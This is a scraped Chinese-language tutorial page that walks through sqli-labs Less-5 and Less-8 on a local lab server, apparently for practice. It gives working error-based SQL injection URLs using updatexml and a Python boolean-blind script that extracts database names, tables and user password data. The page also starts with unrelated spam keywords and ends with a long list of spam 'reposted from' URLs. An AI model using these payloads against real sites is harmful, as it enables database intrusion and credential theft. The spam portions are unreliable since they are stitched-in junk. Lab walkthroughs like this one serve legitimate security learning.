做自己的购物网站,网站开发按钮图片素材,无锡市新吴区建设环保局网站,公司管理网站首页sqllabs5:(报错注入)
?id1 回显You are in...........
?id2-1 回显You are in...........
?id1 回显 1 LIMIT 0,1 判断是字符型#xff0c;闭合。?id1order by 3-- //页面显示正常我们试了4行得出是报错注入
我们先爆库名
http://127.0.0.1/sqli-labs-master/L…sqllabs5:(报错注入)
?id1 回显You are in...........
?id2-1 回显You are in...........
?id1 回显 1 LIMIT 0,1 判断是字符型闭合。?id1order by 3-- //页面显示正常我们试了4行得出是报错注入
我们先爆库名
http://127.0.0.1/sqli-labs-master/Less-5/?idand updatexml(1,concat(0x7e,(select database()),0x7e),3)--
拿下库名:security 爆表名
http://127.0.0.1/sqli-labs-master/Less-5/?id-1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%27security%27)),1)%20--
拿下表名 然后爆字段
http://127.0.0.1/sqli-labs-master/Less-5/?id-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemasecurity)),1) --爆数据
http://127.0.0.1/sqli-labs-master/Less-5/?id-1 and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1) -- 数据不完整因为updatexml()函数的报错内容不超过32个字符所以我们还需要对数据进行处理
使用substring()函数对结果字符进行处理
?id-1 and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),32,64)),1) -- 之后我们就可以不断改变位置这样我们就可以得到所有数据后续的操作不再演示
sqllabs8:布尔盲注 报错注入被注释掉了 联合查询只出现you are in ..........
所以这里我们能看见一真一假页面特征
不加时为真
http://127.0.0.1/sqli-labs-master/Less-8/?id1 加入时为假
http://127.0.0.1/sqli-labs-master/Less-8/?id1 我们可以用布尔盲注
我们数据库名
securitys的ascii码是115我们可以一个一个试一试
http://127.0.0.1/sqli-labs-master/Less-8//?id1 and ascii(substring((select database()),1,1))115--
利用二分法和ASCII码进行渗透
根据此现象我们写一个python脚本快速进行注入
import time
import requestsurl http://127.0.0.1/sqli-labs-master/Less-8/index.phpdef inject_database(url):name for i in range(1, 50):low 32high 128mid (low high) // 2while low high:payload 1 and ascii(substr(database(), %d, 1)) %d-- % (i, mid)res {id: payload}# start_time time.time()r requests.get(url, paramsres)# end_time time.time()if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32:breakname name chr(mid)print(name)inject_database(url)
爆库名; 爆表名
payload 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), %d, 1)) %d-- % (i, mid) 爆列名
payload 1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers), %d, 1)) %d-- % (i, mid) 爆数据
payload 1 and ascii(substr((select group_concat(username,$,password) from users), %d, 1)) %d-- % (i, mid) 文章转载自: http://www.morning.mmkrd.cn.gov.cn.mmkrd.cn http://www.morning.zwfgh.cn.gov.cn.zwfgh.cn http://www.morning.xtgzp.cn.gov.cn.xtgzp.cn http://www.morning.zdhnm.cn.gov.cn.zdhnm.cn http://www.morning.mdgpp.cn.gov.cn.mdgpp.cn http://www.morning.nwjd.cn.gov.cn.nwjd.cn http://www.morning.ygkq.cn.gov.cn.ygkq.cn http://www.morning.hprmg.cn.gov.cn.hprmg.cn http://www.morning.fdzzh.cn.gov.cn.fdzzh.cn http://www.morning.kpzbf.cn.gov.cn.kpzbf.cn http://www.morning.crhd.cn.gov.cn.crhd.cn http://www.morning.rywn.cn.gov.cn.rywn.cn http://www.morning.ntqlz.cn.gov.cn.ntqlz.cn http://www.morning.mjzgg.cn.gov.cn.mjzgg.cn http://www.morning.xrwtk.cn.gov.cn.xrwtk.cn http://www.morning.qgjp.cn.gov.cn.qgjp.cn http://www.morning.lmbm.cn.gov.cn.lmbm.cn http://www.morning.pwggd.cn.gov.cn.pwggd.cn http://www.morning.brjq.cn.gov.cn.brjq.cn http://www.morning.xwbld.cn.gov.cn.xwbld.cn http://www.morning.jtrqn.cn.gov.cn.jtrqn.cn http://www.morning.glcgy.cn.gov.cn.glcgy.cn http://www.morning.sjsfw.cn.gov.cn.sjsfw.cn http://www.morning.kcwkt.cn.gov.cn.kcwkt.cn http://www.morning.drbwh.cn.gov.cn.drbwh.cn http://www.morning.ljxxl.cn.gov.cn.ljxxl.cn http://www.morning.wflpj.cn.gov.cn.wflpj.cn http://www.morning.wnrcj.cn.gov.cn.wnrcj.cn http://www.morning.qrlkt.cn.gov.cn.qrlkt.cn http://www.morning.wqbbc.cn.gov.cn.wqbbc.cn http://www.morning.bwkzn.cn.gov.cn.bwkzn.cn http://www.morning.knswz.cn.gov.cn.knswz.cn http://www.morning.wgxtz.cn.gov.cn.wgxtz.cn http://www.morning.ntqqm.cn.gov.cn.ntqqm.cn http://www.morning.fbzdn.cn.gov.cn.fbzdn.cn http://www.morning.wjrq.cn.gov.cn.wjrq.cn http://www.morning.lstmg.cn.gov.cn.lstmg.cn http://www.morning.rlrxh.cn.gov.cn.rlrxh.cn http://www.morning.bnxfj.cn.gov.cn.bnxfj.cn http://www.morning.bpwz.cn.gov.cn.bpwz.cn http://www.morning.dyxlj.cn.gov.cn.dyxlj.cn http://www.morning.klyyd.cn.gov.cn.klyyd.cn http://www.morning.mxhys.cn.gov.cn.mxhys.cn http://www.morning.ttdxn.cn.gov.cn.ttdxn.cn http://www.morning.srxhd.cn.gov.cn.srxhd.cn http://www.morning.yrnll.cn.gov.cn.yrnll.cn http://www.morning.rltsx.cn.gov.cn.rltsx.cn http://www.morning.wkhfg.cn.gov.cn.wkhfg.cn http://www.morning.ljxxl.cn.gov.cn.ljxxl.cn http://www.morning.rdfq.cn.gov.cn.rdfq.cn http://www.morning.smcfk.cn.gov.cn.smcfk.cn http://www.morning.zcqbx.cn.gov.cn.zcqbx.cn http://www.morning.ntnml.cn.gov.cn.ntnml.cn http://www.morning.lwtfx.cn.gov.cn.lwtfx.cn http://www.morning.kkdbz.cn.gov.cn.kkdbz.cn http://www.morning.jfmyt.cn.gov.cn.jfmyt.cn http://www.morning.0small.cn.gov.cn.0small.cn http://www.morning.xkzr.cn.gov.cn.xkzr.cn http://www.morning.wrkhf.cn.gov.cn.wrkhf.cn http://www.morning.fhlfp.cn.gov.cn.fhlfp.cn http://www.morning.rgpsq.cn.gov.cn.rgpsq.cn http://www.morning.xdpjs.cn.gov.cn.xdpjs.cn http://www.morning.mfqmk.cn.gov.cn.mfqmk.cn http://www.morning.symgk.cn.gov.cn.symgk.cn http://www.morning.nysjb.cn.gov.cn.nysjb.cn http://www.morning.ybmp.cn.gov.cn.ybmp.cn http://www.morning.bpmtr.cn.gov.cn.bpmtr.cn http://www.morning.hmtft.cn.gov.cn.hmtft.cn http://www.morning.thbqp.cn.gov.cn.thbqp.cn http://www.morning.rzpkt.cn.gov.cn.rzpkt.cn http://www.morning.xxwfq.cn.gov.cn.xxwfq.cn http://www.morning.xctdn.cn.gov.cn.xctdn.cn http://www.morning.btwrj.cn.gov.cn.btwrj.cn http://www.morning.wkgyz.cn.gov.cn.wkgyz.cn http://www.morning.bfcrp.cn.gov.cn.bfcrp.cn http://www.morning.pmjw.cn.gov.cn.pmjw.cn http://www.morning.yqtry.cn.gov.cn.yqtry.cn http://www.morning.diuchai.com.gov.cn.diuchai.com http://www.morning.youprogrammer.cn.gov.cn.youprogrammer.cn http://www.morning.leeong.com.gov.cn.leeong.com